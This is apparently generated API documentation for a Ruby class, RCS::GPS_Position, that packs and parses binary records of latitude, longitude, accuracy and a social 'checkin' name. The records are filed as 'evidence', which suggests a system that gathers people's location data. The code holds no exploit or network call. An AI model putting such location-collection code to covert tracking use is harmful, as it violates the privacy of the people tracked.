Class: RCS::GPS_Position

Inherits:
Object
  • Object
show all
Defined in:
lib/rcs-common/evidence/position.rb

Instance Attribute Summary collapse

Class Method Summary collapse

Instance Method Summary collapse

Instance Attribute Details

#accuracyObject (readonly)

Returns the value of attribute accuracy.



182
183
184
# File 'lib/rcs-common/evidence/position.rb', line 182

def accuracy
  @accuracy
end

#checkin_nameObject (readonly)

Returns the value of attribute checkin_name.



184
185
186
# File 'lib/rcs-common/evidence/position.rb', line 184

def checkin_name
  @checkin_name
end

#flagsObject (readonly)

Returns the value of attribute flags.



183
184
185
# File 'lib/rcs-common/evidence/position.rb', line 183

def flags
  @flags
end

#latitudeObject (readonly)

Returns the value of attribute latitude.



180
181
182
# File 'lib/rcs-common/evidence/position.rb', line 180

def latitude
  @latitude
end

#longitudeObject (readonly)

Returns the value of attribute longitude.



181
182
183
# File 'lib/rcs-common/evidence/position.rb', line 181

def longitude
  @longitude
end

Class Method Details

.sizeObject



186
187
188
# File 'lib/rcs-common/evidence/position.rb', line 186

def self.size
  self.struct(0,0,0).bytesize
end

.struct(lat, long, accuracy, flags, name) ⇒ Object



190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
# File 'lib/rcs-common/evidence/position.rb', line 190

def self.struct(lat, long, accuracy, flags, name)
  str = ''
  str += [0].pack('l')  # DWORD dwVersion;  Current version of GPSID client is using.
  str += [0].pack('l')  # DWORD dwSize;     sizeof(_GPS_POSITION)
  str += [0].pack('l')  # DWORD dwValidFields;

  # abuse this flag to indicate social checkins
  str += [flags].pack('l')  # DWORD dwFlags;

  str += Array.new(8,0).pack('s*')  # SYSTEMTIME stUTCTime; 	UTC according to GPS clock.

  str += [lat].pack('D')  # double dblLatitude;          // Degrees latitude.  North is positive
  str += [long].pack('D') # double dblLongitude;         // Degrees longitude.  East is positive

  str += [0].pack('F')  # float  flSpeed;                // Speed in knots
  str += [0].pack('F')  # float  flHeading;              // Degrees heading (course made good).  True North=0
  str += [0].pack('D')  # double dblMagneticVariation;   // Magnetic variation.  East is positive
  str += [0].pack('F')  # float  flAltitudeWRTSeaLevel;  // Altitute with regards to sea level, in meters
  str += [0].pack('F')  # float  flAltitudeWRTEllipsoid; // Altitude with regards to ellipsoid, in meters

  str += [0].pack('l')  # GPS_FIX_QUALITY     FixQuality;        // Where did we get fix from?
  str += [0].pack('l')  # GPS_FIX_TYPE        FixType;           // Is this 2d or 3d fix?
  str += [0].pack('l')  # GPS_FIX_SELECTION   SelectionType;     // Auto or manual selection between 2d or 3d mode
  str += [0].pack('F')  # float flPositionDilutionOfPrecision;   // Position Dilution Of Precision
  str += [accuracy].pack('F')  # float flHorizontalDilutionOfPrecision; // Horizontal Dilution Of Precision
  str += [0].pack('F')  # float flVerticalDilutionOfPrecision;   // Vertical Dilution Of Precision

  #str += [1].pack('l')  # DWORD dwSatelliteCount;                // Number of satellites used in solution
  #str += Array.new(12,0).pack('l*')  # DWORD rgdwSatellitesUsedPRNs[GPS_MAX_SATELLITES];                  // PRN numbers of satellites used in the solution
  #str += [0].pack('l')  # DWORD dwSatellitesInView;                      	                                // Number of satellites in view.  From 0-GPS_MAX_SATELLITES
  #str += Array.new(12,0).pack('l*')  # DWORD rgdwSatellitesInViewPRNs[GPS_MAX_SATELLITES];                // PRN numbers of satellites in view
  #str += Array.new(12,0).pack('l*')  # DWORD rgdwSatellitesInViewElevation[GPS_MAX_SATELLITES];           // Elevation of each satellite in view
  #str += Array.new(12,0).pack('l*')  # DWORD rgdwSatellitesInViewAzimuth[GPS_MAX_SATELLITES];             // Azimuth of each satellite in view
  #str += Array.new(12,0).pack('l*')  # DWORD rgdwSatellitesInViewSignalToNoiseRatio[GPS_MAX_SATELLITES];  // Signal to noise ratio of each satellite in view

  # we abuse this space to write the name of the checkin
  str += name.to_utf16le_binary_null.ljust(248, "\x00")

  return str
end

Instance Method Details

#read(stream) ⇒ Object



231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
# File 'lib/rcs-common/evidence/position.rb', line 231

def read(stream)
  stream.read(4*3)
  @flags = stream.read(4).unpack('l').first
  stream.read(8*2)
  @latitude = stream.read(8).unpack('D').first
  @longitude = stream.read(8).unpack('D').first
  stream.read(2*4)
  stream.read(8)
  stream.read(2*4)

  stream.read(3*4)
  stream.read(4)                                # PDOP
  @accuracy = stream.read(4).unpack('F').first  # HDOP
  stream.read(4)                                # VDOP

  temp = stream.read(248)
  name = StringIO.new(temp).read_utf16le_string
  @checkin_name = name.utf16le_to_utf8 unless name.nil?
end